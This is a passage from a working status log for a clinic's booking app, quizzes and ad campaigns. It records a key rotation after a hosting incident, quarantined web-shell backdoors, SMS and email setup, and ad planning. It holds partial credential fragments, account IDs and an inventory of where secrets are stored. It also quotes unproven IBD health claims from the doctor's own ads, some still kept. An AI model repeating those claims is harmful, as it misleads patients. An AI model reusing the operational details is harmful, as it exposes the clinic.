c6ae37d5d, hub deploy "hook buckets", askmgi-hook-buckets-r1; from David's Copy Studio note cf-i7v7zg2p, §6). Nine new angles from the VoC, MG-A07…A15 (the bathroom map, remission on paper, the just-in-case kit in the car, riding out the next biologic, the photo from before prednisone, five years of "it's just stress", the shrinking menu, mornings are a write-off, tired in a way nobody sees), chiefed (COPYCHIEF "hooks batch 0 — 2026-10-26") and distilled: 15 angles on https://copy-sheet-hq.netlify.app/mgi/?tab=angles . Hook buckets: the whole brief (60 lines) + 14 angle tabs (24 each; MG-A04 skipped, it is the retarget tab) = 396 first-person lines,buckets.py check0 fatal, every line through /copychief-house (22 rewritten in place, 0 killed; ledger "hook buckets round 1 — 2026-10-26" inbriefs/mgi/angles/COPYCHIEF.md): https://copy-sheet-hq.netlify.app/mgi/?tab=buckets . Inputs:trending.json(264 news items),buyers.json(0 regions: no Meta spend in the window). Next: David's G / B →buckets.py verdicts→ hooks.md batch → Hook Studio → the quiz 1 and quiz 2 headlines. - 2026-10-22 20:21 PT — The booking-page details fix is LIVE (cal-checkout
9c44a91ebe=90cf2c367f+ the empty re-trigger; Railway status success 03:21 UTC). Railway never received either push during its incident (no deployment row at all), and David's Deploy click that morning was refused under "Deploys have been paused"; Hobby builds returned 2026-10-22 14:09 PT, David pressed ⌘K → Deploy Latest Commit at ~20:00 PT ("via GitHub", so the GitHub link survived Railway's credential reset). Verified live: the new wording is in the bundle and the old "check your name, email and phone" line is gone; on book.mgiclinic.com the email box turns "kate.kramer@example.com." into "kate.kramer@example.com" and "kate kramer @ example , com" into "katekramer@example.com" on blur; no page errors (analytics blocked, nothing submitted). The new Stripe "Cal" key went into STRIPE_PRIVATE_KEY before this deploy; proof it is in use = the new key's "Last used" in Stripe after the next booking. Old key …g3RK still ends ≈ Oct 24 17:30 PT. - 2026-10-21 ~17:30 PT — Stripe key "Cal" rotated (the booking app's secret key on Railway's STRIPE_PRIVATE_KEY; David in the Dashboard, after the Railway incident below). Its logs before rotating were clean: only the booking flow (GET/POST /v1/customers + POST /v1/payment_intents for $50, Stripe Node 9.16.0, API 2020-08-27) from 208.77.244.71 = AS400940 Railway. The old key (…g3RK) keeps working until ≈ Oct 24 17:30 PT, so the booking page takes payments until Railway can deploy the replacement. The first replacement (…4Iwi) was pasted into the Claude chat, so it counts as exposed: rotate it again with expiry Now (nothing uses it). The live replacement lives only in David's password manager; it goes into Railway by his hand when builds resume. Never paste a key into chat.
- 2026-10-21 — Railway security incident; all builds paused platform-wide (status.railway.com; disclosure https://blog.railway.com/p/security-disclosure-wednesday-october-21st: an unauthorized party may have read customers' decrypted environment variables; Railway advises rolling every env var and reviewing service logs). Consequences for MGI: (1) the booking-page details fix (cal-checkout
90cf2c367f, re-trigger9c44a91ebe) is pushed but NOT live — no build can run until Railway restores builds; (2) the booking app's Railway variables hold the clinic's secrets: Stripe live secret key + webhook secret + Connect client id, the database URLs (patient bookings), NEXTAUTH_SECRET, the credential encryption keys, Twilio + Sendblue keys, Klaviyo private key, cron/webhook secrets. Rotation is David's call (a revoked key breaks the live page until a redeploy is possible again). Railway's guides (status page, Oct 22 ~01:20 UTC) that apply: rotate PostgreSQL credentials (needs a redeploy), reconnect GitHub after their credential reset (likely why pushes stopped building), check Stripe usage (done: clean), check for anomalous GitHub access — the cal-checkout repo is clean (only our commits, no deploy keys, one branch, David the sole collaborator); the Railway GitHub app's repo scope and the account security log are David's to check in GitHub settings. - 2026-10-21 — Booking page: email slips fixed before sending; errors name the field (cal-checkout
90cf2c367f, §6). Cause: "Something in your details didn't go through. Check your name, email and phone" was the page's rewording of ANY booking-engine refusal of the answers (raw:custom in 'responses': {field}…); the page checked email only as x@y.z and sent it as typed, while the engine's pattern (packages/lib/emailSchema.ts) refuses a trailing dot or comma, a doubled dot or @, a dot before the @, an inner space, a pasted "mailto:", a phone's curly apostrophe. Not the phone (its own wording) and not the name (any non-empty name passes); the event's booking fields need nothing the page doesn't send. Now:cleanEmail()fixes those slips (shown in the box on blur), the email is checked with the engine's own regex before payment ("Check your email for a typo. It should look like name@example.com."), names are trimmed, an engine refusal names its field, and every engine error adds "Still not going through? Call the clinic at (725) 224-5668 and we'll book you by phone." Test on 19 typed variants: 9 that failed now book, none the page passes is refused. The raw error text keeps going to GA4checkout_error.error_message(reading it needs a Google re-login). - 2026-10-20 — MGI Copy Studio live (§6): https://launch-center-hq.netlify.app/mgi/copy/. Pages: Quiz 1 (MG-P2, 18 sections: 13 screens + the result split into his five levels) · Quiz 2 (MG-P3, 18 screens) · the booking page (MG-01, 5 sections, read live from the cal-checkout app; the page after a booking is left out). Every quiz section has "View screen ↗" (
?qa_page=N; a level opens with&qa_level=L, review links only). The gray image boxes show as lines, so an image can take a note too. Rebuild after any copy deploy:python3 tools/copy-studio/extract.py mgi, thentools/deploy-launch-center.sh --build; pull notes withpython3 tools/copy-studio/feedback.py pull mgi. - 2026-10-19 — Box 00 on MG-P2 + MG-P3: the start photo is a gray box (§6). The start screen's
slotrenders in the photo's place with each lane's crop and corners (max 230 px tall; with an image it loads first, fetchpriority high); 3:2, 1200×800, the same slot on both quizzes, so 16 images in all (00 and 08 shared). QA: flow PASS both quizzes × 3 lanes, readability 0 findings on the start screens, start button still above the fold at 390×844. - 2026-10-19 — Gray image boxes on MG-P2 + MG-P3 (review site, mgi-quiz.netlify.app).
build_quiz.pyrenders aslot(note or email screen),guide.slotper level,result.cause_slotsandcall_slotas a numbered gray box (data-slot) until the slot gets animage; every build writes<slug>/IMAGES.md(size, alt, brief per image; never shipped). MG-P2: 01 note "both sides" 4:3 · 02 email screen, his five guides 2:1 · 03–07 the guide cover per level 3:4 · 08 the call 4:3. MG-P3: 01 note, the five causes together 4:3 · 02 email screen, the results email on a phone 2:1 · 03–07 one per cause card 2:1 · 08 the call (the same image). Launch gate added on both: every gray box filled. QA: flow PASS (6 + 3 walks × 3 lanes), mobile readability 0 findings (32 screens × 3 lanes × 375/390), hygiene PASS, smoke PASS. - 2026-10-19 — What books on Google Ads, by search intent (read-only, Aug–Oct 2026, v24). Booked = Discovery Call Booked ($50) + Calendly on-domain + Checkout payment submitted; picked a time = Date & Time Selected + Entered details (the "Discovery Page View" and "Button Click" actions are NOT bookings — an earlier tally that counted them was wrong). Per 100 clicks booked-or-picked: brand 8.8 · cure/heal/remission 2.1 · natural/holistic/alternative 2.1 · doctor/specialist 1.1 · generic treatment 0.6 · symptoms 0.6 · diet/food 0.4. Keywords that booked: bowel inflammation treatment (6 booked · 19 picked), gut health doctor (4 · 8), ulcerative colitis expert (3 · 12), gastroenterologist crohn's disease (3 · 10), crohn's treatment (2 · 13.5), ulcerative colitis treatment (1 · 16); inflamed intestines treatment 0 · 16. Landing variants with the most conversions: fix-ibd ?c=ulcerative-colitis 127.8 · ?c=inflammation 127.3 · ?c=crohns 106.2. The mind-gut-immunity.com mirror took 10,622 clicks / $4,043 with 0 conversions, all in August 2026; every click since September lands on mgiclinic.com.
- 2026-10-19 — MG-P3, quiz 2, built (not live). 18 screens: his opener (MG-A03 verbatim) → 12 questions from the converting intents and the fix-ibd page (what doctors called it, with Just "inflammation" from the keywords; medication for life; what you've tried besides prescriptions, incl. herbal/Ayurvedic/Chinese medicine from the search terms; food; gut symptoms; "besides your gut" from the page; sleep; stress; what comes before a flare; movement; what you want most) → two notes in his voice (the second: Bernstein 2010, PMID 20372115, high stress OR 2.40, no difference for NSAIDs/antibiotics/infections) → email (Klaviyo: email + first name + top causes, event "Completed MGI Quiz"; list = the Newsletter
U2raiauntil a quiz-2 list exists) → his five causes, top three ranked and numbered, their true/false answer and "what you want most" quoted back. Chassis generalized (result_modelevels | causes; multi answers stored; Klaviyo by mode); quiz 1 re-verified on it. Web Interface Guidelines audit (quiz-causes/AUDIT-web-guidelines.md): answer cards are real buttons now, focus rings, notransition: all, reduced motion, per-lane theme colour, focus moves to each new screen — on both quizzes. QA: flow check PASS (quiz 1 · 6 walks, quiz 2 · 3 walks, × 3 lanes); readability 0 findings on all 32 screens × 3 lanes at 375 / 390. COPYCHIEF-r1 (8/10) applied; the lede batch + the weird twenty in the ledger. Deploy script ships both quizzes. - 2026-10-18 — MG-P2, the five-level quiz, built and boarded (not live). Chassis = the live Charm CH-P3 quiz cloned for MGI (
prelanders/mgi/_quiz/clone_chassis.py): the clinic pixel (PageView only, autoConfig off) and GA4 (no?c=, step numbers only) load on mgiclinic.com hosts only; the click keeper writesmgi_attrwith /quiz/ as the landing page; a loading → email → result ending; Klaviyo client API (site id VqpLhz) → the level's 2025 list + a "Completed MGI Quiz" event, email / first name / level only.prelanders/mgi/build_quiz.py quizrendersquiz/flow.json: his eight questions verbatim (typo fixes; added "5–10 years", "None of these" ×2, "1–2 hours"), two notes in his voice from TRUE claims (d1, d2, p2), the PubMed screenshot (PMID 23376797, sleep and Crohn's flares, read from its abstract; L-05), his five 2025 result pages ported with his own banned words swapped and the Truth Gate's held counts (x2) taken out, a Dire Need safety line. Gates refuse on his bans and the held claims. COPYCHIEF-r1 applied (H1 "You know where every restroom is in the grocery store." + his IBD-at-19 deck; "FIND MY LEVEL"); the lede batch and the weird twenty are in the ledger. Three lanes: a booking-page look · b editorial (minimalist-skill) · c a note from him (soft-skill). QA:tools/qa/mgi_quiz_check.py(served at book.mgiclinic.com/quiz/ in iPhone WebKit; five levels + a split answer; booking links carry the ad's tags and nothing from the quiz; Klaviyo payloads; GA4 step-only; Meta PageView only; no answer text in any request) PASS on all three;tools/qa/mobile_readability.py0 findings on all 14 screens × 3 lanes at 375 / 390. Photo = a still of the 2024 Casita shoot (Dropbox, Fasting Crohns 4:40). Asks on the MGI lane:mgi-quiz-lane(the board) ·mgi-quiz-lede·mgi-quiz-scoring(his yellow highlights) ·mgi-quiz-launch(guide emails in Klaviyo, a real-inbox test, then the go). Angle bank: MG-A02 GO (out: quiz), packetbriefs/mgi/angles/MG-A02/prelander.md. - 2026-10-16 — Media plan v3: two three-video ad sets a round, the statics slot empty until MGI statics exist, the 30% booking-page gate on the board; COLD-R1 in adsets mode.
- 2026-10-16 — The media plan board switches launches (David: "Let me switch through the different launches by clicking on that"): the brand name lists every launch with a board. This board also wears MGI's own color now (it showed CellScience red). Account read Oct 16, 8:57 AM: the two May-2024 campaigns paused, no active ads, no spend in 7 days; round one waits on the keep and the go.
- 2026-10-15 (night) — Media plan board at
/docs/mgi/media-plan/board.html(the Schedule design David picked for CellScience): the four cold rounds counted from the go, Y1 · Y2 · C10 staged in round one, round two blocked on the two hook-plus-body edits and the eggs short upload; the bar is the booking page (a booking-page open at $10, bookings as the orders). Twin: titles, page name,board(bar, rules, decisions). Refresh:python3 tools/brand-hub/media_plan_board.py all --brand mgi. - 2026-10-13 — Cold round one staged, not launched. The eight top shorts transcribed: zero banned words. Originals of Y1 / Y2 / Y3 pulled with yt-dlp (1080×1920), the 9:16 "five people" cut from Dropbox, his own end card ("Real recovery. Within reach.", the last 3 s of the 2024 foods videos, padded to 9:16) appended; masters on the J&T mgi ads board, 720p previews to the UGC Studio. Uploaded through the relay to
act_1777184009460625: Y1 video1107906878379579· Y21763547582441047· C104499494763644960(tools/jt/one-offs/mgi-cold-2026-10/uploads.json). Cold copy: three lanes chiefed (COPYCHIEF-cold-r1.md; the duplicate headline across lanes, an invented food list in his voice, "consultations" → "calls", one close: "Read the page. Then pick a time, and Dr. Dasari calls you himself."); pass-2 doc/docs/mgi-cold-copy-r1. Launcher planlaunch/2026-10/COLD-R1.json: dry run clean — new campaign "MGI — MG-P1 fix-ibd · Cold · ABO $50/ad set", AD001 Y1 · AD002 Y2 · AD003 C10 at $50 each, OUTCOME_TRAFFIC / LANDING_PAGE_VIEWS, the seven warm audiences excluded, link utm_campaign=mgi-cold&utm_content={{ad.name}}.--gowaits onmgi-cold-go(and his keep + Chanu's pass 2). - 2026-10-13 — Switch to cold prospecting (David: "Okay lets switch to prospecting, cold campaigns instead of retargeting." "for Chanu"). The twin's tiers / creatives / rounds / rules moved under
retargeting_parked; the cold shape = the CellScience shape (pages+rounds[].ads, the renderer's second adapter): page MG-P1, rounds of three ads at $50, 3 days, his one-variable rule; targeting 25–65 US, Advantage+ audience off, the seven warm audiences EXCLUDED (the audience file'salso_exclude_from_cold); OUTCOME_TRAFFIC / LANDING_PAGE_VIEWS; linkutm_campaign=mgi-cold&utm_content={{ad.name}}. Round one proposed from his own library, no edit needed: Y1 "Top six mistakes to avoid with UC" (short, 13,370 views) · Y2 "What is the root cause of your Crohn's? It's not genetics" (6,015) · C10 the 5-1-30 "five people" cut; round two Y3 eggs (8,686) + the first two hook-plus-body edits (H14 biologics, H01 $250k); round three V1 trim + C9. The eight top shorts are local in the library (creative/mgi-own/videos/yt-<id>.mp4, previews) and transcribed for the bans before they went on the list; yt-dlp pulls the originals for the keeps; his own end card ("Real recovery. Within reach.", the last 3 s of the 2024 foods videos) is appended in 9:16. Cold copy: three StefanBrain lanes (mgi-cold-a02-surgeon,-a03-truefalse,-a01-foods), chiefed before the page. Plan md rewritten plain-language (~1,200 words); the page re-renders from the twin. - 2026-10-12 — "Round 1 - 3, those ads are really bad. why did you choose those vs others?" (David). Why: the first pick came only from the 22 Meta ads of May 2024 (the only creatives with Meta booking numbers; the port-the-winner rule), and inside that set the three were the only clean or trimmable cuts. Too narrow: 643 other cards were never scored. Scored the same day (transcribed with whisper, bans grepped): the hooks reel (
Chanu Hooks/C0001.MP410.9 min +C0002.MP44.1 min, a two-camera studio session of ~30 ad opens in his own words; 22 clean takes cut to clips H01–H22: "I paid over $250k for medical school and still didn't understand how to solve autoimmune disease", "If you use biologics or steroids, you're going to want to hear this", "You think your autoimmune disease is genetic?", "This is gut health explained for people that have been gaslit by doctors"; the heal / reverse / fix takes left out) · the six captioned vertical shorts (Shorts Captioned/Vegan Diet Crohns, 35–53 s; four clean, two say "fix"/"fixes") · the 5-1-30 cut (961, 43 s, "I'm looking for five people who want to solve their IBD in the next 30 days", clean on the bans; six weeks / thousands / no medications = officer flags) · the Aug-2025 articles avatar piece (1:35, Nature Microbiology; "healing" once) · **his Oct-2025 produced YouTube spot** (v4, 42 s): "Doctors wanted medication, but I wanted cure… fixing… attend a free class" = three bans in his own voice, BENCHED · his YouTube shorts by views (41.7K "No need for medicine for Crohn's? 3 remedies", 16.7K D1 athlete UC story, 13.4K six mistakes, 10.5K root causes, 9.7K / 8.7K eggs, 6.0K "not genetics") · patient interviews (UC in 2 weeks 26 min, D1 football Crohn's 23 min, "a real message from a real patient") as the proof source, cut-downs needed. 41 candidates on the plan page's Candidates tab, playable, and the 9 ready cuts + 22 hook clips on the J&T mgi ads board. The 2024 trimmed foods videos stay as the bench. He keeps; the rounds get re-pointed. - 2026-10-12 — Playable video on the plan page (David: "make the ad playable if its a video so i can see it"): previews (720p, CRF 27) live on the UGC Studio, never in git —
creative/<brand>/videos/<brand>-media-plan-<key>.mp4+ a JSON sidecar (the Video Studio "video-ads" source; git-ignored; the sync never deletes),tools/deploy-ugc-studio.sh(a real deploy is always the whole library;--brandis dry-run only), thendocs/<brand>/media-plan/video-index.jsonmaps key → hosted URL and the renderer plays it inline (<video controls preload=none>), posters stay in docs/. A first attempt hardlinked the CellScience masters into a non-ignored folder: removed before it reached git. - 2026-10-12 — The media plan page now renders from the twin as one tab per round (David: "I think we need a better way to present the media plan. This is supposed to show, the ad, the landing page, and the ad copy/primary text structured in a readable manner. and separated per round using tabbing or something is better."): `tools/brand-hub/media_plan_page.py --brand mgi --plan media-plan-2026-10
→docs/mgi-media-plan-2026-10.html` (same Quick link). Each round: the landing page (phone screenshot) · one card per ad set with the ad's poster, numbers and flags, five headlines with character counts, five primary texts as collapsibles. Posters from the video files (ffmpeg), page screenshots by Playwright at 390 px, underdocs/mgi/media-plan/. The markdown stays the decision doc (its copy section is dropped from the page). - 2026-10-12 — **Retargeting destination (David: "i think we either send them to dr. dasari's booking page, or the page they landed on initially from google ads, was it the ulcerative collitis page? i forget").** Facts: the Google ads land on www.mgiclinic.com/fix-ibd-naturally/ (all 25 enabled ads as of 2026-09-30, 75% of search spend, the "Renowned IBD Expert" winner's page, Schedule → /discovery/ → the hand-off → book.mgiclinic.com); the ulcerative colitis page was the 2024 META landing (
/service/ulcerative-colitis, now/ulcerative-colitis/). The ad code survives the hop: the click keeper cookie (mgi_attr, .mgiclinic.com, 90 d) carries utm_content from any www page into the checkout's BookingAttribution (not on the mirror domain). The page as served today opens "Doctors get this WRONG! … to heal itself … permanent reversal of IBD inflammation" with "Fix" in the slug and title — his own bans, on his own page, live for Google; Meta reads landing pages at review. Proposed hot → booking page, warm → /fix-ibd-naturally/; David decided all tiers → /fix-ibd-naturally/ ("people may have forgotten about it"), the booking page as a destination = a later test. Done the same turn: MG-P1 in the pages-manifest; the twin, R1.json and the plan page re-pointed;tools/ads_launch.pycurls with--globoff(the{{ad.name}}braces made curl exit 3 → the dry run would have refused the link) and compares the manifest live_url without the query. - 2026-10-12 — **Meta retargeting: the media plan, the ads, the copy (David: "For Dr Chanu - I think it's time for us to start the retargeting launch on Facebook. For now, let's set up the media plan, which ads we would use, and which copy headlines and primary text. You can write the primary text and copy from StefanBrain.").** - The plan (
briefs/mgi/media-plan-2026-10.md+.jsontwin +launch/2026-10/R1.json): one campaign "MGI — MG-01 booking page · Retargeting · ABO", OUTCOME_TRAFFIC / LANDING_PAGE_VIEWS (Purchase, Lead and the checkout's custom events are blocked on the pixel; the "Booked call ($50)" custom conversion sits on blocked CheckoutPaid and cannot fill), one ad per tier at a time, 7-day rounds (small audiences, $15 a day), the tier is the variable inside a round and the ad changes between rounds (his one-variable rule). Tiers: T1 Abandon Carts (A, out X) $5 · T2 Booking page opened + Played the video (B + V, out X + A) $15 · T3 Site visitors + FB/IG engagers (D + C1 + C2, out B + A + V + X) $15 = $35/day proposed ($25 / $50 options). US only for now: adscaler's createAdSet hardcodesgeo_locations US(lib/facebook.ts:125); his six countries need an adscaler change + redeploy (2026-09-22 build trap) — later. Landing: MG-01 +utm_source=facebook&utm_medium=paid&utm_campaign=mgi-retarget&utm_content={{ad.name}}(the code lands inBookingAttribution.utmContentand GA4checkout_paid). Rules: no verdicts days 1–2; from day 3 OFF on link CTR < 1% after 1,500 views or frequency > 4 with no booking started; day 7 KEEP on a paid booking ≤ $150 or booking starts ≤ $15 each, MAYBE on link CTR ≥ 2% + one start (one more week), else OFF and the next ad in; a $50 booking at $150 = $600–1,000 per $6,800 registration at his 15–25% close. - Audience sizes today (Graph): all five website audiences (X, B, D, A, V) readapproximate_count 20/20= below Meta's 1,000 reporting floor five days after creation; C1/C2 engagers read 1,000/1,000 "still populating". The pixel pools say ~8,900 site visitors a month, ~240 booking-page openers, ~35 abandons, ~19 paid. Re-read on launch morning; if a tier cannot deliver, it folds into the next one up (A into T2). - The ads — transcribed before reuse (whisper small, 2026-10-12), the earned trap: Dr. Dasari's own 2024 videos carry his NOW-banned words in his own voice. UC + Crohn's "Foods to avoid" (the 2024 winners, 12 + 5 bookings): "...what foods to avoid for ulcerative colitis to start reversing inflammation fast" + "thousands of patients" + "some in as little as six weeks". The 83-s intro video: "reversing my Crohn's", "fix poor microbiome function", "reverse your symptoms for good", "fixing my Crohn's", "fixing my UC" (5 hits) → BENCHED. The general 45-s: "free resources" + the "REAL RECOVERY. GUARANTEED." end card → KILL as is. "Want to stop biologics?" (43 s, 1x1 v3, Meta video1404527716871359): clean ("ditched their medications", "symptom-free" = officer flags, not bans). The four 2024 statics ("I reversed …" ×2, "Recovery in six weeks" ×2) are banned as they are (b6, x3). Carousels: link CTR ≤ 1%, no bookings → kill. - The fix — trimmed cuts: from the Dropbox masters (AD ASSETS - CREATIVES/961 VIDEOS/961_foodstoavoid_{UC,CROHNS}_v3_1x1_052824.mp4) cut at the word boundary before "to start reversing" (UC 27.72 s, Crohn's 27.55 s; whisper word timestamps), 0.6-s fade, the original "Real recovery. Within reach." end card (last 3 s) re-attached; re-transcribed: zero hits. On the mgi ads board (creative/mgi-ads/videos/, git-ignored, both checkouts) as **V1 UC trim · V2 Crohn's trim · V3 Want to stop biologics 1x1** for David's keep →tools/ads_video_upload.py→ ids into the twin. The J&T server lists them (/api/video-manifest?brand=mgi). "thousands of patients" and "six weeks" still spoken = Chanu's pass 2 + the officer. - The copy (StefanBrain, three chatsmgi-retarget-t1-abandon/-t2-booking-page/-t3-warm; chief ledgerbriefs/mgi/COPYCHIEF-meta-retarget-r1.md; hub doc/docs/mgi-retarget-copy-r1): five headlines + five texts per tier on TRUE ids only; the abandon tier speaks to the action, never health (Meta's personal-attributes rule b5); the story texts are in his voice and run only after his pass 2 (CL-14) — David's choice: his voice or about him. Chief changes: two headlines re-subjected, the abandon story's invented office scene replaced with our /today day list + the booking note, "consultation" out, one close ("Pick a time, and Dr. Dasari calls you himself."). The 2024 texts ("End … For Good", "Stop … in its Tracks") are HELD (x5) under the port-verbatim rule: David's call on record, never softened. - Angle Studio (CL-20): bank initialised (`angles.py init --brand mgi --niche autoimmune-gut-clinic --product MG-01 --noun "The Mind-Gut-Immunity Method"` — his own name for the approach in the 2024 intro video), provisional truth gate (briefs/mgi/truth-gate.md: 23 TRUE · 6 PENDING · 7 BANNED),forbidden-terms.txt, six seeds (MG-A01 foods to avoid · A02 the IBD patient who became the gut surgeon · A03 true or false: remission requires steroids or biologics · A04 you picked a time, the call is still yours · A05 told it's lifelong and genetic · A06 no tests, no supplements), the chief gate on the six headlines (two rewritten), distilled, boarded (https://copy-sheet-hq.netlify.app/mgi/?tab=angles), all CANDIDATE. No VoC mined yet (the problem words are his own avatar section); no hook batch (the Hook Studio is its own session). The ad copy is tagged with the angle ids and held on the verdicts like S3 was on CellScience. - Hub wiring:brands.jsonmgi.sources += console_queue / console_state (lanemgi) · board (tools/launch-board/mgi.json, new) · truth_gate. Quick links: the plan + the copy doc. - 2026-09-02 — created from template + imported 1 memory file(s) as the starting record.
- 2026-09-28 — Twilio upgraded; bought +1 (725) 350-2176; messaging service created; booking texts, consent line, /sms-terms and reply auto-answer shipped (cal-checkout
be8a0533bb). - 2026-09-28 16:41 — booking texts in dry run on book.mgiclinic.com (plans recorded per booking, nothing sent). Fix that got it there: turbo.json
globalPassThroughEnv(cal-checkout4890c1a58e); turbo's strict env mode had been stripping the new SMS_* variables. Client page: https://mgi-clinic-launch-board.netlify.app/booking-texts/ - 2026-09-28 21:32 — 10DLC registered: profile submitted, brand APPROVED (TCR BWEJ3FY), campaign submitted (in review). Plan storage moved to its own table (cal-checkout
4e644b89ef); /sms-terms STOP/HELP bold (c3d4825f1c). - 2026-09-28 22:10 — SMS_MODE=live for every booking (David removed SMS_TEST_ALLOWLIST: testers use many numbers). Until the campaign is approved every send fails at the carrier (30034); on approval, texts flow to new bookings automatically. HELP reply set in Opt-Out Management (STOP/START keep Twilio defaults, David's call). Existing full-access key SK4f2d… in Railway (David's call); rotate after go-live — its secret appeared in two screenshots.
- 2026-09-28 22:28 — Live path verified end to end (David's paid test booking h4AEfH…, then cancelled): confirmation SMd3cfa22d… undelivered 30034 · 1h reminder SMa07a7489… scheduled → canceled on cancel · cancellation text SMd8ba60ae… undelivered 30034 · plan saved through payment confirmation. Only carrier approval stands between this and delivery.
- 2026-09-29 — Klaviyo booker sync shipped (no-op until KLAVIYO_PRIVATE_KEY + KLAVIYO_LIST_ID [+ KLAVIYO_EVENT_NAME] are in Railway). David is choosing the flow/segment it should feed.
- 2026-09-29 12:02 — Klaviyo booker sync LIVE: every paid booking → profile (email, name, call time, reschedule link) → list "Leads from Calendly"
U8pS4f→ segment "Calendly and Form Leads for Everyone Flow"WQDAFS(7,292; any of Leads from Calendly, Form Leads, 10 condition sign-up lists) → flow "EVERYONE FLOW (Calendly Leads, Buyers, and Form Leads) (clone)"ULUFW2(live; 1 day → Email #1, every 3 days, then weekly, ~25 emails). No event needed. Existing segment members don't re-enter. Sendblue (iMessage) evaluated and declined for booking texts: pre-reply rules block links/phone numbers, no scheduling in the API, $100/line/month. - 2026-09-29 — Site rollout map (read-only crawl, nothing changed on the site). 20 pages embed Calendly, same on both domains: /discovery/ (
dasarimd) + 19/*-treatment-start/pages. 11 are $50 phone calls (discovery, crohnschrons, ulcerative-colitis, rheumatoid, psoriasis, eczema, lupus, multiple-sclerosis, ibs, fatty-liver, allergies); 9 are FREE (candida, sibo, sjogrenssjrogrens, connective-tissue, ana-autoimmune, leaky-gut/leake-gut-…, and Zoom calls brain-fog / fatigue / migraine). The 6 conditions with no checkout?c=code are all free ones. Calendly after-payment redirects wrong on 6 events: rheumatoid → /rheumatoid-arthritis/, MS → /multiple-sclerosis/, IBS → back to /ibs-treatment-start/, fatty-liver → /fatty-liver/, sibo → /sibo-treatment-in-henderson/, lupus → /thank-you/lupus/ (no booking tag). Dead CTAs: "Get Started"href="#"on all 468 posts + 10 pages, empty on 15 tag archives; 3 "Schedule A Discovery Call" with no link (/crohns-disease-specialist-in-portland/, /fatty-liver/, /sjogrens-syndrome/); /sibo- and /sjogrens-treatment-start/%20/ 404; 2 links to mgi-clinic.webflow.io. Privacy policy lists Calendly, Kajabi, Zoom, "Klayvio" (klayvio.com), no Stripe/Twilio. Klaviyo EVERYONE-flow emails carry no booking links. Plan: keep every URL; the booking pages hand off in the browser (keeps gclid/utm_); stages = 3 paid-traffic pages → 8 other $50 pages → 9 free pages (doctor's call) → cleanup + Calendly sunset. - 2026-09-30 — Booking baseline from Stripe (checkout key = the same account Calendly pays into,
acct_1JcdRqAxKW8dMlCG"Mind Gut Immunity Clinic"): 25 paid $50 Calendly bookings in the last 30 days (weeks W36 7 · W37 5 · W38 10 · W39 3), 8 in the last 14 days; 8 refunded $50 charges in the window. The saved MGI_CALENDLY_TOKEN is invalid (401). Stage watches lengthened from 3 days to a week at this volume. - 2026-09-30 10:15 — Backdoors quarantined (David's go): root
cache.php+wso.php+ wp-file-manager →_wpeprivate/quarantine-20260930/; salts shuffled; incident file §9. - 2026-09-30 10:18 — Stage 1 LIVE (hand-off mu-plugin). WP Engine's page cache kept serving the old Calendly /discovery/ for 20+ min despite
max-age=600→ fullwp page-cache flush+wp cdn-cache flushat 10:40 (spam check clean). Browser QA desktop + iPhone, tracking hits blocked: condition headline right, gclid/utm kept, Back → article, Button Click tag still fires on the Schedule click. Ads read (408, 2026-09-30): all 25 enabled ads → /fix-ibd-naturally/ (Schedule → /discovery/); last 14 days $5,819 · 1,135 clicks · Button Click 90 · Discovery Page View 94 · Date & Time 10 · Calendly on-domain 3 · Discovery Call Booked 0. - 2026-09-30 10:51 — B + C shipped: 22 Elementor buttons → https://www.mgiclinic.com/discovery/ (8 templates incl. the single-post "blog" 3489 that renders on all 468 posts; 14 pages incl. the 10 old
*-confirmationpages; junk link fields on /crohns-disease-specialist-in-portland/ and /fatty-liver/ fixed too). Backups_wpeprivate/elementor-backup-20260930/; script_wpeprivate/cta_fix.php. Verified live on a post, three tag archives, the C pages and a confirmation page. - 2026-09-30 — David's Chrome showed "Not Secure" on the checkout. Clean Chrome 154: security state secure, TLS 1.3, no insecure requests (also after video play + slot pick); his tab reloaded via the extension showed no http:// resources. Hardening: HSTS +
Content-Security-Policy: upgrade-insecure-requestson /checkout/*. Two next.config.ts attempts (1b49860e88,e161e5bf09) never reached the Railway build; shipped fromapps/web/proxy.tsat request time (8c8230b399). - 2026-09-30 15:41 — First paid booking through the new checkout ($50, Stripe PaymentIntent with the checkout's booker metadata; not one of David's known emails). GA4 realtime recorded the whole funnel (checkout_slot_selected → checkout_reached_payment → checkout_pay_submitted → checkout_booking_created → checkout_paid → booking_confirmed on the thank-you page); Klaviyo list
U8pS4f+1. Same day on Calendly: a $50 Rheumatoid Arthritis intent (13:48) left at payment. Ads delivery fell after ~11:00 (impression share 10% today vs 33% yesterday, 90% lost to rank, 0% to budget, all 25 ads approved) — a bidding/rank drop, not the page switch; 8 keyword-level edits in the Ads web UI on 09-29 09:20. Trap re-hit:curlwithout-gsilently returns nothing for URLs with[...](Stripecreated[gte], Klaviyopage[size]). - 2026-09-30 17:32 — Attribution build (cal-checkout
2a7f473a04), David's event matrix: (1) booking page viewcheckout_view; (2) informationcheckout_slot_selected,checkout_name_entered,checkout_email_entered,checkout_phone_entered(once each, never the values),checkout_reached_payment; (3) videocheckout_video_start,checkout_video_progress25/50/75,checkout_video_complete(YouTube player API); (4) paymentcheckout_payment_details_complete,checkout_wallet_opened,checkout_pay_submitted,checkout_booking_created,checkout_paid,checkout_error. Events no longer carry the condition; GA4 page_location drops?c=. New tableBookingAttribution(click IDs, UTMs, landing page, condition) via POST /api/checkout/attribution; CSV export GET /api/ads/conversions (basic auth, password derived from SMS_WEBHOOK_SECRET); check captures with /api/sms/booking-events?attribution=recent (the SMS_WEBHOOK_SECRET value as its bearer token). - 2026-10-09 — MGI registered in
tools/brand-hub/brands.json(boardmgi, librarymgi-own, page MG-01); our 2024 Meta ads imported to the J&T board bytools/meta-own-ads-swipe.py(22 ads → 15 cards); pay-press failures logged as OPEN (§9).
Imported status record (2026-09-02) — distribute these facts into the sections above as the brand is touched
From memory mgi_dasari_client_status.md
